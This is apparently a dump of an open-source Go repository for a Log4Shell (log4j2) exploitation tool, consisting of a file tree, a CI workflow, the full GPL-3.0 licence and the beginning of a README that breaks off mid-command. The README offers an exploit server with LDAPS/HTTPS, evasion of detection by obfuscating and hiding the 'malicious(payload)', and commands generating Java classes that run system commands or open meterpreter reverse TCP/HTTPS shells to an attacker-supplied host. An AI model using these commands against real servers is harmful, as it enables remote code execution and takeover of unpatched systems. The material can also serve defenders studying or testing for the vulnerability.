├── .github └── workflows │ └── go.yml ├── .gitignore ├── LICENSE ├── README.md ├── autocert.go ├── autocert_test.go ├── build.bat ├── build.sh ├── check.bat ├── check.sh ├── cmd ├── build.bat ├── build.sh ├── main.go ├── payload │ ├── Calc.class │ ├── Nop.class │ └── Notepad.class └── template │ ├── Execute.class │ └── System.class ├── command.go ├── command_test.go ├── generator.go ├── generator_test.go ├── go.mod ├── go.sum ├── http.go ├── http_test.go ├── ldap.go ├── ldap_test.go ├── log4shell.go ├── log4shell_test.go ├── obfuscate.go ├── obfuscate_test.go ├── payload ├── Calc.java ├── Nop.java └── Notepad.java ├── rand.go ├── rand_test.go ├── screenshot.png ├── template ├── Execute.java ├── ReverseHTTPS.java ├── ReverseTCP.java └── System.java ├── testdata ├── payload │ ├── Calc.class │ ├── Nop.class │ └── Notepad.class └── template │ ├── Execute.class │ ├── ReverseHTTPS.class │ ├── ReverseTCP.class │ ├── System.class │ └── compare │ ├── Calc.class │ ├── NetUser.class │ ├── Notepad.class │ ├── ReHTTPS.class │ └── ReTCP.class └── vulapp ├── jar ├── calc.bat ├── nop.bat ├── notepad.bat └── vulapp.jar └── src ├── pom.xml ├── src └── main │ ├── java │ └── log4j.java │ └── resources │ └── META-INF │ └── MANIFEST.MF └── target └── classes ├── META-INF └── MANIFEST.MF └── log4j.class /.github/workflows/go.yml: -------------------------------------------------------------------------------- 1 | name: Go 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | pull_request: 7 | branches: [ main ] 8 | 9 | jobs: 10 | 11 | build: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - uses: actions/checkout@v2 15 | 16 | - name: Set up Go 17 | uses: actions/setup-go@v2 18 | with: 19 | go-version: 1.17 20 | 21 | - name: Build 22 | run: go build -v ./... 23 | 24 | - name: Test 25 | run: go test -v ./... 26 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | *.elf 8 | 9 | # Test binary, built with `go test -c` 10 | *.test 11 | 12 | # Output of the go coverage tool, specifically when used with LiteIDE 13 | *.out 14 | 15 | # Dependency directories (remove the comment below to include it) 16 | # vendor/ 17 | 18 | # build 19 | bin 20 | 21 | # GoLand 22 | .idea -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Log4Shell 2 | [![GitHub Actions](https://github.com/For-ACGN/Log4Shell/workflows/Go/badge.svg)](https://github.com/For-ACGN/Log4Shell/actions) 3 | [![Go Report Card](https://goreportcard.com/badge/github.com/For-ACGN/Log4Shell)](https://goreportcard.com/report/github.com/For-ACGN/Log4Shell) 4 | [![GoDoc](https://godoc.org/github.com/For-ACGN/Log4Shell?status.svg)](http://godoc.org/github.com/For-ACGN/Log4Shell) 5 | [![License](https://img.shields.io/github/license/For-ACGN/Log4Shell.svg)](https://github.com/For-ACGN/Log4Shell/blob/master/LICENSE)\ 6 | Check, exploit, generate class, obfuscate, TLS, ACME about log4j2 vulnerability in one Go program. 7 | 8 | ## Feature 9 | * Only one program and easy deployment 10 | * Support common operating systems 11 | * Support multi Java class files 12 | * Support LDAPS and HTTPS server 13 | * Support ACME to sign certificate 14 | * Generate class without Java compiler 15 | * Support obfuscate malicious(payload) 16 | * Hide malicious(payload) string 17 | * Add secret to protect HTTP server 18 | * Add token to fix repeat execute payload 19 | 20 | ## Usage 21 | ### Start Log4Shell server 22 | * ```Log4Shell.exe -host "1.1.1.1"``` 23 | * ```Log4Shell.exe -host "example.com"``` 24 | 25 | ### Start Log4Shell server with TLS 26 | * ```Log4Shell.exe -host "example.com" -tls-server -tls-cert "cert.pem" -tls-key "key.pem"``` 27 | * ```Log4Shell.exe -host "1.1.1.1" -tls-server -tls-cert "cert.pem" -tls-key "key.pem"``` (need IP SANs) 28 | 29 | ### Start Log4Shell server with ACME 30 | * ```Log4Shell.exe -host "example.com" -auto-cert``` (must use domain name) 31 | 32 | ### Generate Java class file 33 | ``` 34 | Execute(no output): 35 | Log4Shell.exe -gen "execute" -args "-cmd calc" -class "Test" 36 | 37 | System(with output): 38 | Log4Shell.exe -gen "system" -args "-bin cmd -args \"/c net user\"" -class "Test" 39 | 40 | ReverseTCP(java/meterpreter/reverse_tcp): // template will be open source after some time 41 | Log4Shell.exe -gen "reverse_tcp" -args "-lhost 1.1.1.1 -lport 9979" -class "Test" 42 | 43 | ReverseHTTPS(java/meterpreter/reverse_https): // template will be open source after some time 44 | Log4Shell.exe -gen "reverse_https" -args "-lhost 1.1.1.1 